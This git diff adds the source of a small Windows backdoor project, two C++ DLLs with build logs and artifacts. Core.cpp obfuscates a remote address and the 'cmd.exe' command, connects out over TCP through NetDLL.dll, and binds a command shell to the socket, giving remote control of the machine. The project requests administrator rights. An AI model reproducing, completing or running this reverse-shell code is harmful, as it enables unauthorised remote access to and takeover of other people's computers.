diff --git a/BackDoor/CoreDLL/Core.cpp b/BackDoor/CoreDLL/Core.cpp new file mode 100644 index 0000000..d45dc18 --- /dev/null +++ b/BackDoor/CoreDLL/Core.cpp @@ -0,0 +1,144 @@ +const char* msg = "LS0tIC0uIC4gIC0uIC4uIC0tLiAuLi4uIC0gLS0uLi0tICAuLiAgLS4tLiAtLS0gLi4tIC4tLi4gLS4uIC0uIC4tLS0tLiAtICAuLi4gLi0uLiAuIC4gLi0tLiAuLS4tLi0gIC4uICAtLi0gLiAuLS0uIC0gIC4tLi4gLS0tIC0tLSAtLi0gLi4gLS4gLS0uICAuLSAtICAtIC4uLi4gLiAgLi0tLiAtLS0gLi0uIC0gLi0uIC4tIC4uIC0gIC0gLi4uLiAuLSAtICAuLS0gLi0gLi4uICAtLi0uIC4uLi4gLiAuIC4tLiAuLi0uIC4uLSAuLS4uICAtLS0gLS4gIC0gLi4uLiAuICAuLS0gLi0gLi0uLiAuLS4uIC4tLi0uLSAgLi4gLS4gIC0gLi4uLiAuICAtLSAtLS0gLi0uIC0uIC4uIC0uIC0tLiAgLi4gIC4uLiAtIC4uIC4tLi4gLi0uLiAgLS0gLi0gLS4gLi0gLS0uIC4gLS4uICAtIC0tLSAgLi4tLiAuLSAuLS4uIC4tLi4gIC4tIC4uLiAuLS4uIC4gLiAuLS0uIC0tLi4tLSAgLi0gLS4gLS4uICAuLS0gLi4uLiAuIC0uICAuLiAgLi0tIC0tLSAtLi0gLiAgLi4tIC4tLS4gIC4uICAuLi4gLi0gLi0tICAuLSAgLi0tIC4uIC0uIC0uLiAtLS0gLi0tICAtLS0gLS4gIC0gLi4uLiAuICAuLi4tLSAuLi4uLSAtIC4uLi4gIC4uLS4gLi0uLiAtLS0gLS0tIC4tLiAgLi4gLS4gIC4tLS4gLi0uLiAuLSAtLi0uIC4gIC0tLSAuLi0uICAtIC4uLi4gLiAgLi0tLiAuLSAuLiAtLiAtIC4uIC0uIC0tLiAuLS4tLi0="; + +#define _WINSOCK_DEPRECATED_NO_WARNINGS +#include +#pragma comment(lib,"Ws2_32.lib") + +#ifdef LOAD_DLL +#define LIBRARY_API __declspec(dllimport) +#else +#define LIBRARY_API __declspec(dllexport) +#endif + +// IP port +#pragma region Network +const unsigned short int lengthIP = 12; +char InternetProtacol[lengthIP] = "081-057-/-5"; +int port = 1111; + +SOCKADDR_IN addr; +SOCKET Socket; +#ifdef UNICODE +TCHAR cmd[] = L"dne/fyf"; +#else +TCHAR cmd[] = "dne/fyf"; +#endif +#pragma endregion + +#pragma region Load Function From NetDLL +HINSTANCE NetLib; + +typedef void (*NetInit)(); +typedef void (*MyConnect)(SOCKADDR*, SOCKET*); + +NetInit ni; +MyConnect mc; +#pragma endregion + + + +void DecodeIP() +{ + for (int i = 0; i < lengthIP - 1; ++i) + ++InternetProtacol[i]; +} + +void DecodeCommand() +{ + for (int i = 0; i < 7; ++i) + --cmd[i]; +} + +#pragma region System calls +void SysCall1() +{ + NetLib = LoadLibrary(L"NetDLL.dll"); + if (NetLib == nullptr) + exit(-4); + + ni = (NetInit)GetProcAddress(NetLib, "NetInit"); + if (ni == nullptr) + exit(-5); + ni(); + FreeLibrary(NetLib); +} +void SysCall5() +{ + DecodeIP(); + struct hostent* host; + host = gethostbyname(InternetProtacol); + strcpy_s(InternetProtacol, lengthIP, inet_ntoa(*((struct in_addr*)host->h_addr))); +} +void SysCall2() +{ + addr.sin_addr.s_addr = inet_addr(InternetProtacol); + addr.sin_port = htons(port); + addr.sin_family = AF_INET; +} +void SysCall3() +{ + NetLib = LoadLibrary(L"NetDLL.dll"); + if (NetLib == nullptr) + exit(-4); + + mc = (MyConnect)GetProcAddress(NetLib, "MyConnect"); + if (mc == nullptr) + exit(-6); + + Socket = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, (unsigned int)NULL, (unsigned int)NULL); + + mc((SOCKADDR*)&addr, &Socket); + FreeLibrary(NetLib); +} +void SysCall4() +{ + STARTUPINFO ini_processo; + PROCESS_INFORMATION processo_info; + + memset(&ini_processo, 0, sizeof(ini_processo)); + ini_processo.cb = sizeof(ini_processo); + ini_processo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; + ini_processo.hStdInput = ini_processo.hStdOutput = ini_processo.hStdError = (HANDLE)Socket; + + if (Socket == INVALID_SOCKET) + exit(4); + + DecodeCommand(); + if (!CreateProcess(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &ini_processo, &processo_info)) + exit(5); +} +#pragma endregion + +extern "C" void LIBRARY_API SystemCall(int call) +{ + switch (call) + { + case 1: + { + SysCall1(); + } break; + + case 2: + { + SysCall2(); + } break; + + case 3: + { + SysCall3(); + } break; + + case 4: + { + SysCall4(); + } break; + + case 5: + { + SysCall5(); + } break; + + default:{ + } break; + } +} \ No newline at end of file diff --git a/BackDoor/CoreDLL/CoreDLL.vcxproj b/BackDoor/CoreDLL/CoreDLL.vcxproj new file mode 100644 index 0000000..3b367c3 --- /dev/null +++ b/BackDoor/CoreDLL/CoreDLL.vcxproj @@ -0,0 +1,155 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 17.0 + Win32Proj + {ea35d102-ec6d-4455-a3c2-bdaa98664c87} + CoreDLL + 10.0 + + + + DynamicLibrary + true + v143 + Unicode + + + DynamicLibrary + false + v143 + true + Unicode + + + DynamicLibrary + true + v143 + Unicode + + + DynamicLibrary + false + v143 + true + Unicode + + + + + + + + + + + + + + + + + + + + + + Level3 + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + stdcpp17 + stdc17 + false + + + Windows + true + RequireAdministrator + true + + + + + Level3 + true + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + stdcpp17 + stdc17 + false + + + Windows + true + true + true + RequireAdministrator + true + + + + + Level3 + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + stdcpp17 + stdc17 + false + + + Windows + true + RequireAdministrator + true + + + + + Level3 + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + stdcpp17 + stdc17 + false + + + Windows + true + true + true + RequireAdministrator + true + + + + + + + + + \ No newline at end of file diff --git a/BackDoor/CoreDLL/CoreDLL.vcxproj.filters b/BackDoor/CoreDLL/CoreDLL.vcxproj.filters new file mode 100644 index 0000000..373990f --- /dev/null +++ b/BackDoor/CoreDLL/CoreDLL.vcxproj.filters @@ -0,0 +1,22 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Исходные файлы + + + \ No newline at end of file diff --git a/BackDoor/CoreDLL/CoreDLL.vcxproj.user b/BackDoor/CoreDLL/CoreDLL.vcxproj.user new file mode 100644 index 0000000..88a5509 --- /dev/null +++ b/BackDoor/CoreDLL/CoreDLL.vcxproj.user @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/BackDoor/CoreDLL/x64/Debug/Core.obj b/BackDoor/CoreDLL/x64/Debug/Core.obj new file mode 100644 index 0000000..ac2cf12 Binary files /dev/null and b/BackDoor/CoreDLL/x64/Debug/Core.obj differ diff --git a/BackDoor/CoreDLL/x64/Debug/CoreDLL.dll.recipe b/BackDoor/CoreDLL/x64/Debug/CoreDLL.dll.recipe new file mode 100644 index 0000000..04390c1 --- /dev/null +++ b/BackDoor/CoreDLL/x64/Debug/CoreDLL.dll.recipe @@ -0,0 +1,11 @@ + + + + + D:\Projects\Malwere\x64\Debug\CoreDLL.dll + + + + + + \ No newline at end of file diff --git a/BackDoor/CoreDLL/x64/Debug/CoreDLL.ilk b/BackDoor/CoreDLL/x64/Debug/CoreDLL.ilk new file mode 100644 index 0000000..a57aadf Binary files /dev/null and b/BackDoor/CoreDLL/x64/Debug/CoreDLL.ilk differ diff --git a/BackDoor/CoreDLL/x64/Debug/CoreDLL.log b/BackDoor/CoreDLL/x64/Debug/CoreDLL.log new file mode 100644 index 0000000..e5e09a1 --- /dev/null +++ b/BackDoor/CoreDLL/x64/Debug/CoreDLL.log @@ -0,0 +1,2 @@ + Core.cpp + CoreDLL.vcxproj -> D:\Projects\Malwere\x64\Debug\CoreDLL.dll diff --git a/BackDoor/CoreDLL/x64/Debug/CoreDLL.tlog/CL.command.1.tlog b/BackDoor/CoreDLL/x64/Debug/CoreDLL.tlog/CL.command.1.tlog new file mode 100644 index 0000000..f1f0f16 Binary files /dev/null and b/BackDoor/CoreDLL/x64/Debug/CoreDLL.tlog/CL.command.1.tlog differ diff --git a/BackDoor/CoreDLL/x64/Debug/CoreDLL.tlog/CL.read.1.tlog b/BackDoor/CoreDLL/x64/Debug/CoreDLL.tlog/CL.read.1.tlog new file mode 100644 index 0000000..c02f175 Binary files /dev/null and b/BackDoor/CoreDLL/x64/Debug/CoreDLL.tlog/CL.read.1.tlog differ diff --git a/BackDoor/CoreDLL/x64/Debug/CoreDLL.tlog/CL.write.1.tlog b/BackDoor/CoreDLL/x64/Debug/CoreDLL.tlog/CL.write.1.tlog new file mode 100644 index 0000000..10a06e7 Binary files /dev/null and b/BackDoor/CoreDLL/x64/Debug/CoreDLL.tlog/CL.write.1.tlog differ diff --git a/BackDoor/CoreDLL/x64/Debug/CoreDLL.tlog/Cl.items.tlog b/BackDoor/CoreDLL/x64/Debug/CoreDLL.tlog/Cl.items.tlog new file mode 100644 index 0000000..1d8f824 --- /dev/null +++ b/BackDoor/CoreDLL/x64/Debug/CoreDLL.tlog/Cl.items.tlog @@ -0,0 +1 @@ +D:\Projects\Malwere\BackDoor\CoreDLL\Core.cpp;D:\Projects\Malwere\BackDoor\CoreDLL\x64\Debug\Core.obj diff --git a/BackDoor/CoreDLL/x64/Debug/CoreDLL.tlog/CoreDLL.lastbuildstate b/BackDoor/CoreDLL/x64/Debug/CoreDLL.tlog/CoreDLL.lastbuildstate new file mode 100644 index 0000000..4716e86 --- /dev/null +++ b/BackDoor/CoreDLL/x64/Debug/CoreDLL.tlog/CoreDLL.lastbuildstate @@ -0,0 +1,2 @@ +PlatformToolSet=v143:VCToolArchitecture=Native64Bit:VCToolsVersion=14.39.33519:TargetPlatformVersion=10.0.22621.0: +Debug|x64|D:\Projects\Malwere\| diff --git a/BackDoor/CoreDLL/x64/Debug/CoreDLL.tlog/link.command.1.tlog b/BackDoor/CoreDLL/x64/Debug/CoreDLL.tlog/link.command.1.tlog new file mode 100644 index 0000000..bd886e0 Binary files /dev/null and b/BackDoor/CoreDLL/x64/Debug/CoreDLL.tlog/link.command.1.tlog differ diff --git a/BackDoor/CoreDLL/x64/Debug/CoreDLL.tlog/link.read.1.tlog b/BackDoor/CoreDLL/x64/Debug/CoreDLL.tlog/link.read.1.tlog new file mode 100644 index 0000000..e1a4cfc Binary files /dev/null and b/BackDoor/CoreDLL/x64/Debug/CoreDLL.tlog/link.read.1.tlog differ diff --git a/BackDoor/CoreDLL/x64/Debug/CoreDLL.tlog/link.secondary.1.tlog b/BackDoor/CoreDLL/x64/Debug/CoreDLL.tlog/link.secondary.1.tlog new file mode 100644 index 0000000..3361ec0 --- /dev/null +++ b/BackDoor/CoreDLL/x64/Debug/CoreDLL.tlog/link.secondary.1.tlog @@ -0,0 +1,4 @@ +^D:\PROJECTS\MALWERE\BACKDOOR\COREDLL\X64\DEBUG\CORE.OBJ +D:\Projects\Malwere\x64\Debug\CoreDLL.lib +D:\Projects\Malwere\x64\Debug\CoreDLL.EXP +D:\Projects\Malwere\BackDoor\CoreDLL\x64\Debug\CoreDLL.ilk diff --git a/BackDoor/CoreDLL/x64/Debug/CoreDLL.tlog/link.write.1.tlog b/BackDoor/CoreDLL/x64/Debug/CoreDLL.tlog/link.write.1.tlog new file mode 100644 index 0000000..de913df Binary files /dev/null and b/BackDoor/CoreDLL/x64/Debug/CoreDLL.tlog/link.write.1.tlog differ diff --git a/BackDoor/CoreDLL/x64/Debug/vc143.idb b/BackDoor/CoreDLL/x64/Debug/vc143.idb new file mode 100644 index 0000000..0a4b8b7 Binary files /dev/null and b/BackDoor/CoreDLL/x64/Debug/vc143.idb differ diff --git a/BackDoor/CoreDLL/x64/Debug/vc143.pdb b/BackDoor/CoreDLL/x64/Debug/vc143.pdb new file mode 100644 index 0000000..2bbcd29 Binary files /dev/null and b/BackDoor/CoreDLL/x64/Debug/vc143.pdb differ diff --git a/BackDoor/CoreDLL/x64/Release/Core.obj b/BackDoor/CoreDLL/x64/Release/Core.obj new file mode 100644 index 0000000..70f5a60 Binary files /dev/null and b/BackDoor/CoreDLL/x64/Release/Core.obj differ diff --git a/BackDoor/CoreDLL/x64/Release/CoreDLL.dll.recipe b/BackDoor/CoreDLL/x64/Release/CoreDLL.dll.recipe new file mode 100644 index 0000000..0a25e11 --- /dev/null +++ b/BackDoor/CoreDLL/x64/Release/CoreDLL.dll.recipe @@ -0,0 +1,11 @@ + + + + + D:\Projects\Malwere\x64\Release\CoreDLL.dll + + + + + + \ No newline at end of file diff --git a/BackDoor/CoreDLL/x64/Release/CoreDLL.iobj b/BackDoor/CoreDLL/x64/Release/CoreDLL.iobj new file mode 100644 index 0000000..d658afd Binary files /dev/null and b/BackDoor/CoreDLL/x64/Release/CoreDLL.iobj differ diff --git a/BackDoor/CoreDLL/x64/Release/CoreDLL.ipdb b/BackDoor/CoreDLL/x64/Release/CoreDLL.ipdb new file mode 100644 index 0000000..ce7c4b4 Binary files /dev/null and b/BackDoor/CoreDLL/x64/Release/CoreDLL.ipdb differ diff --git a/BackDoor/CoreDLL/x64/Release/CoreDLL.log b/BackDoor/CoreDLL/x64/Release/CoreDLL.log new file mode 100644 index 0000000..1c7210d --- /dev/null +++ b/BackDoor/CoreDLL/x64/Release/CoreDLL.log @@ -0,0 +1,8 @@ + Core.cpp + Создается библиотека D:\Projects\Malwere\x64\Release\CoreDLL.lib и объект D:\Projects\Malwere\x64\Release\CoreDLL.exp + Создание кода + 0 of 8 functions ( 0.0%) were compiled, the rest were copied from previous compilation. + 0 functions were new in current compilation + 0 functions had inline decision re-evaluated but remain unchanged + Создание кода завершено + CoreDLL.vcxproj -> D:\Projects\Malwere\x64\Release\CoreDLL.dll diff --git a/BackDoor/CoreDLL/x64/Release/CoreDLL.tlog/CL.command.1.tlog b/BackDoor/CoreDLL/x64/Release/CoreDLL.tlog/CL.command.1.tlog new file mode 100644 index 0000000..2e03328 Binary files /dev/null and b/BackDoor/CoreDLL/x64/Release/CoreDLL.tlog/CL.command.1.tlog differ diff --git a/BackDoor/CoreDLL/x64/Release/CoreDLL.tlog/CL.read.1.tlog b/BackDoor/CoreDLL/x64/Release/CoreDLL.tlog/CL.read.1.tlog new file mode 100644 index 0000000..c02f175 Binary files /dev/null and b/BackDoor/CoreDLL/x64/Release/CoreDLL.tlog/CL.read.1.tlog differ diff --git a/BackDoor/CoreDLL/x64/Release/CoreDLL.tlog/CL.write.1.tlog b/BackDoor/CoreDLL/x64/Release/CoreDLL.tlog/CL.write.1.tlog new file mode 100644 index 0000000..2ecbc6f Binary files /dev/null and b/BackDoor/CoreDLL/x64/Release/CoreDLL.tlog/CL.write.1.tlog differ diff --git a/BackDoor/CoreDLL/x64/Release/CoreDLL.tlog/Cl.items.tlog b/BackDoor/CoreDLL/x64/Release/CoreDLL.tlog/Cl.items.tlog new file mode 100644 index 0000000..b679721 --- /dev/null +++ b/BackDoor/CoreDLL/x64/Release/CoreDLL.tlog/Cl.items.tlog @@ -0,0 +1 @@ +D:\Projects\Malwere\BackDoor\CoreDLL\Core.cpp;D:\Projects\Malwere\BackDoor\CoreDLL\x64\Release\Core.obj diff --git a/BackDoor/CoreDLL/x64/Release/CoreDLL.tlog/CoreDLL.lastbuildstate b/BackDoor/CoreDLL/x64/Release/CoreDLL.tlog/CoreDLL.lastbuildstate new file mode 100644 index 0000000..655165e --- /dev/null +++ b/BackDoor/CoreDLL/x64/Release/CoreDLL.tlog/CoreDLL.lastbuildstate @@ -0,0 +1,2 @@ +PlatformToolSet=v143:VCToolArchitecture=Native64Bit:VCToolsVersion=14.39.33519:TargetPlatformVersion=10.0.22621.0: +Release|x64|D:\Projects\Malwere\| diff --git a/BackDoor/CoreDLL/x64/Release/CoreDLL.tlog/link.command.1.tlog b/BackDoor/CoreDLL/x64/Release/CoreDLL.tlog/link.command.1.tlog new file mode 100644 index 0000000..8e6bb20 Binary files /dev/null and b/BackDoor/CoreDLL/x64/Release/CoreDLL.tlog/link.command.1.tlog differ diff --git a/BackDoor/CoreDLL/x64/Release/CoreDLL.tlog/link.read.1.tlog b/BackDoor/CoreDLL/x64/Release/CoreDLL.tlog/link.read.1.tlog new file mode 100644 index 0000000..e2d0880 Binary files /dev/null and b/BackDoor/CoreDLL/x64/Release/CoreDLL.tlog/link.read.1.tlog differ diff --git a/BackDoor/CoreDLL/x64/Release/CoreDLL.tlog/link.secondary.1.tlog b/BackDoor/CoreDLL/x64/Release/CoreDLL.tlog/link.secondary.1.tlog new file mode 100644 index 0000000..2976698 --- /dev/null +++ b/BackDoor/CoreDLL/x64/Release/CoreDLL.tlog/link.secondary.1.tlog @@ -0,0 +1,5 @@ +^D:\PROJECTS\MALWERE\BACKDOOR\COREDLL\X64\RELEASE\CORE.OBJ +D:\Projects\Malwere\x64\Release\CoreDLL.lib +D:\Projects\Malwere\x64\Release\CoreDLL.EXP +D:\Projects\Malwere\BackDoor\CoreDLL\x64\Release\CoreDLL.IPDB +D:\Projects\Malwere\BackDoor\CoreDLL\x64\Release\CoreDLL.iobj diff --git a/BackDoor/CoreDLL/x64/Release/CoreDLL.tlog/link.write.1.tlog b/BackDoor/CoreDLL/x64/Release/CoreDLL.tlog/link.write.1.tlog new file mode 100644 index 0000000..3e55850 Binary files /dev/null and b/BackDoor/CoreDLL/x64/Release/CoreDLL.tlog/link.write.1.tlog differ diff --git a/BackDoor/CoreDLL/x64/Release/vc143.pdb b/BackDoor/CoreDLL/x64/Release/vc143.pdb new file mode 100644 index 0000000..2e9bba9 Binary files /dev/null and b/BackDoor/CoreDLL/x64/Release/vc143.pdb differ diff --git a/BackDoor/NetDLL/NetDLL.cpp b/BackDoor/NetDLL/NetDLL.cpp new file mode 100644 index 0000000..561aadc --- /dev/null +++ b/BackDoor/NetDLL/NetDLL.cpp @@ -0,0 +1,20 @@ +const char* msg = "LS0tIC0uIC4gIC0uIC4uIC0tLiAuLi4uIC0gLS0uLi0tICAuLiAgLS4tLiAtLS0gLi4tIC4tLi4gLS4uIC0uIC4tLS0tLiAtICAuLi4gLi0uLiAuIC4gLi0tLiAuLS4tLi0gIC4uICAtLi0gLiAuLS0uIC0gIC4tLi4gLS0tIC0tLSAtLi0gLi4gLS4gLS0uICAuLSAtICAtIC4uLi4gLiAgLi0tLiAtLS0gLi0uIC0gLi0uIC4tIC4uIC0gIC0gLi4uLiAuLSAtICAuLS0gLi0gLi4uICAtLi0uIC4uLi4gLiAuIC4tLiAuLi0uIC4uLSAuLS4uICAtLS0gLS4gIC0gLi4uLiAuICAuLS0gLi0gLi0uLiAuLS4uIC4tLi0uLSAgLi4gLS4gIC0gLi4uLiAuICAtLSAtLS0gLi0uIC0uIC4uIC0uIC0tLiAgLi4gIC4uLiAtIC4uIC4tLi4gLi0uLiAgLS0gLi0gLS4gLi0gLS0uIC4gLS4uICAtIC0tLSAgLi4tLiAuLSAuLS4uIC4tLi4gIC4tIC4uLiAuLS4uIC4gLiAuLS0uIC0tLi4tLSAgLi0gLS4gLS4uICAuLS0gLi4uLiAuIC0uICAuLiAgLi0tIC0tLSAtLi0gLiAgLi4tIC4tLS4gIC4uICAuLi4gLi0gLi0tICAuLSAgLi0tIC4uIC0uIC0uLiAtLS0gLi0tICAtLS0gLS4gIC0gLi4uLiAuICAuLi4tLSAuLi4uLSAtIC4uLi4gIC4uLS4gLi0uLiAtLS0gLS0tIC4tLiAgLi4gLS4gIC4tLS4gLi0uLiAuLSAtLi0uIC4gIC0tLSAuLi0uICAtIC4uLi4gLiAgLi0tLiAuLSAuLiAtLiAtIC4uIC0uIC0tLiAuLS4tLi0="; + +#define _WINSOCK_DEPRECATED_NO_WARNINGS +#pragma comment(lib, "Ws2_32.lib") +#include "NetDLL.h" +#include + +void NetInit() +{ + WSAData wsaData; + if (WSAStartup(MAKEWORD(2, 2), &wsaData)) + exit(1); +} + +void MyConnect(SOCKADDR* addr, SOCKET* Socket) +{ + if (WSAConnect(*Socket, addr, sizeof(*addr), NULL, NULL, NULL, NULL)) + exit(2); + Sleep(10); +} \ No newline at end of file diff --git a/BackDoor/NetDLL/NetDLL.h b/BackDoor/NetDLL/NetDLL.h new file mode 100644 index 0000000..84471f5 --- /dev/null +++ b/BackDoor/NetDLL/NetDLL.h @@ -0,0 +1,13 @@ +#pragma once + +#include + +#ifdef LIBRARY_EXPORT +#define LIBRARY_API __declspec(dllexport) +#else +#define LIBRARY_API __declspec(dllimport) +#endif + + +extern "C" void LIBRARY_API NetInit(); +extern "C" void LIBRARY_API MyConnect(SOCKADDR* addr, SOCKET* Socket); \ No newline at end of file diff --git a/BackDoor/NetDLL/NetDLL.vcxproj b/BackDoor/NetDLL/NetDLL.vcxproj new file mode 100644 index 0000000..eae7ad5 --- /dev/null +++ b/BackDoor/NetDLL/NetDLL.vcxproj @@ -0,0 +1,164 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 17.0 + Win32Proj + {164a5605-ad23-4181-89c4-fa8774746731} + NetDLL + 10.0 + + + + DynamicLibrary + true + v143 + Unicode + + + DynamicLibrary + false + v143 + true + Unicode + + + DynamicLibrary + true + v143 + Unicode + + + DynamicLibrary + false + v143 + true + Unicode + + + + + + + + + + + + + + + + + + + + + false + + + false + + + false + + + false + + + + Level3 + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + stdcpp17 + stdc17 + SyncCThrow + + + Console + true + + + + + Level3 + true + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + stdcpp17 + stdc17 + Disabled + SyncCThrow + + + Console + true + true + true + + + + + Level3 + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + stdcpp17 + stdc17 + SyncCThrow + + + Console + true + + + + + Level3 + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + stdcpp17 + stdc17 + Disabled + SyncCThrow + + + Console + true + true + true + + + + + + + + + + + + \ No newline at end of file diff --git a/BackDoor/NetDLL/NetDLL.vcxproj.filters b/BackDoor/NetDLL/NetDLL.vcxproj.filters new file mode 100644 index 0000000..c8ecede --- /dev/null +++ b/BackDoor/NetDLL/NetDLL.vcxproj.filters @@ -0,0 +1,27 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Файлы заголовков + + + + + Исходные файлы + + + \ No newline at end of file diff --git a/BackDoor/NetDLL/NetDLL.vcxproj.user b/BackDoor/NetDLL/NetDLL.vcxproj.user new file mode 100644 index 0000000..88a5509 --- /dev/null +++ b/BackDoor/NetDLL/NetDLL.vcxproj.user @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/BackDoor/NetDLL/x64/Debug/NetDLL.dll.recipe b/BackDoor/NetDLL/x64/Debug/NetDLL.dll.recipe new file mode 100644 index 0000000..095613c --- /dev/null +++ b/BackDoor/NetDLL/x64/Debug/NetDLL.dll.recipe @@ -0,0 +1,11 @@ + + + + + D:\Projects\Malwere\x64\Debug\NetDLL.dll + + + + + + \ No newline at end of file diff --git a/BackDoor/NetDLL/x64/Debug/NetDLL.ilk b/BackDoor/NetDLL/x64/Debug/NetDLL.ilk new file mode 100644 index 0000000..f01cd37 Binary files /dev/null and b/BackDoor/NetDLL/x64/Debug/NetDLL.ilk differ diff --git a/BackDoor/NetDLL/x64/Debug/NetDLL.log b/BackDoor/NetDLL/x64/Debug/NetDLL.log new file mode 100644 index 0000000..59d6b41 --- /dev/null +++ b/BackDoor/NetDLL/x64/Debug/NetDLL.log @@ -0,0 +1,3 @@ + LINK : не найден или не выполнена сборка D:\Projects\Malwere\x64\Debug\NetDLL.dll при последней инкрементной компоновке; выполняется полная компоновка + Создается библиотека D:\Projects\Malwere\x64\Debug\NetDLL.lib и объект D:\Projects\Malwere\x64\Debug\NetDLL.exp + NetDLL.vcxproj -> D:\Projects\Malwere\x64\Debug\NetDLL.dll diff --git a/BackDoor/NetDLL/x64/Debug/NetDLL.obj b/BackDoor/NetDLL/x64/Debug/NetDLL.obj new file mode 100644 index 0000000..229ba1f Binary files /dev/null and b/BackDoor/NetDLL/x64/Debug/NetDLL.obj differ diff --git a/BackDoor/NetDLL/x64/Debug/NetDLL.tlog/CL.command.1.tlog b/BackDoor/NetDLL/x64/Debug/NetDLL.tlog/CL.command.1.tlog new file mode 100644 index 0000000..4a2e236 Binary files /dev/null and b/BackDoor/NetDLL/x64/Debug/NetDLL.tlog/CL.command.1.tlog differ diff --git a/BackDoor/NetDLL/x64/Debug/NetDLL.tlog/CL.read.1.tlog b/BackDoor/NetDLL/x64/Debug/NetDLL.tlog/CL.read.1.tlog new file mode 100644 index 0000000..78569b4 Binary files /dev/null and b/BackDoor/NetDLL/x64/Debug/NetDLL.tlog/CL.read.1.tlog differ diff --git a/BackDoor/NetDLL/x64/Debug/NetDLL.tlog/CL.write.1.tlog b/BackDoor/NetDLL/x64/Debug/NetDLL.tlog/CL.write.1.tlog new file mode 100644 index 0000000..b3f2e3b Binary files /dev/null and b/BackDoor/NetDLL/x64/Debug/NetDLL.tlog/CL.write.1.tlog differ diff --git a/BackDoor/NetDLL/x64/Debug/NetDLL.tlog/Cl.items.tlog b/BackDoor/NetDLL/x64/Debug/NetDLL.tlog/Cl.items.tlog new file mode 100644 index 0000000..844c2f6 --- /dev/null +++ b/BackDoor/NetDLL/x64/Debug/NetDLL.tlog/Cl.items.tlog @@ -0,0 +1 @@ +D:\Projects\Malwere\BackDoor\NetDLL\NetDLL.cpp;D:\Projects\Malwere\BackDoor\NetDLL\x64\Debug\NetDLL.obj diff --git a/BackDoor/NetDLL/x64/Debug/NetDLL.tlog/NetDLL.lastbuildstate b/BackDoor/NetDLL/x64/Debug/NetDLL.tlog/NetDLL.lastbuildstate new file mode 100644 index 0000000..4716e86 --- /dev/null +++ b/BackDoor/NetDLL/x64/Debug/NetDLL.tlog/NetDLL.lastbuildstate @@ -0,0 +1,2 @@ +PlatformToolSet=v143:VCToolArchitecture=Native64Bit:VCToolsVersion=14.39.33519:TargetPlatformVersion=10.0.22621.0: +Debug|x64|D:\Projects\Malwere\| diff --git a/BackDoor/NetDLL/x64/Debug/NetDLL.tlog/link.command.1.tlog b/BackDoor/NetDLL/x64/Debug/NetDLL.tlog/link.command.1.tlog new file mode 100644 index 0000000..e603590 Binary files /dev/null and b/BackDoor/NetDLL/x64/Debug/NetDLL.tlog/link.command.1.tlog differ diff --git a/BackDoor/NetDLL/x64/Debug/NetDLL.tlog/link.read.1.tlog b/BackDoor/NetDLL/x64/Debug/NetDLL.tlog/link.read.1.tlog new file mode 100644 index 0000000..195f8c6 Binary files /dev/null and b/BackDoor/NetDLL/x64/Debug/NetDLL.tlog/link.read.1.tlog differ diff --git a/BackDoor/NetDLL/x64/Debug/NetDLL.tlog/link.secondary.1.tlog b/BackDoor/NetDLL/x64/Debug/NetDLL.tlog/link.secondary.1.tlog new file mode 100644 index 0000000..6516ede --- /dev/null +++ b/BackDoor/NetDLL/x64/Debug/NetDLL.tlog/link.secondary.1.tlog @@ -0,0 +1,4 @@ +^D:\PROJECTS\MALWERE\BACKDOOR\NETDLL\X64\DEBUG\NETDLL.OBJ +D:\Projects\Malwere\x64\Debug\NetDLL.lib +D:\Projects\Malwere\x64\Debug\NetDLL.EXP +D:\Projects\Malwere\BackDoor\NetDLL\x64\Debug\NetDLL.ilk diff --git a/BackDoor/NetDLL/x64/Debug/NetDLL.tlog/link.write.1.tlog b/BackDoor/NetDLL/x64/Debug/NetDLL.tlog/link.write.1.tlog new file mode 100644 index 0000000..57f63b5 Binary files /dev/null and b/BackDoor/NetDLL/x64/Debug/NetDLL.tlog/link.write.1.tlog differ diff --git a/BackDoor/NetDLL/x64/Debug/vc143.idb b/BackDoor/NetDLL/x64/Debug/vc143.idb new file mode 100644 index 0000000..f213a0a Binary files /dev/null and b/BackDoor/NetDLL/x64/Debug/vc143.idb differ diff --git a/BackDoor/NetDLL/x64/Debug/vc143.pdb b/BackDoor/NetDLL/x64/Debug/vc143.pdb new file mode 100644 index 0000000..ec1e69a Binary files /dev/null and b/BackDoor/NetDLL/x64/Debug/vc143.pdb differ diff --git a/BackDoor/NetDLL/x64/Release/NetDLL.dll.recipe b/BackDoor/NetDLL/x64/Release/NetDLL.dll.recipe new file mode 100644 index 0000000..48d4903 --- /dev/null +++ b/BackDoor/NetDLL/x64/Release/NetDLL.dll.recipe @@ -0,0 +1,11 @@ + + + + + D:\Projects\Malwere\x64\Release\NetDLL.dll + + + + + + \ No newline at end 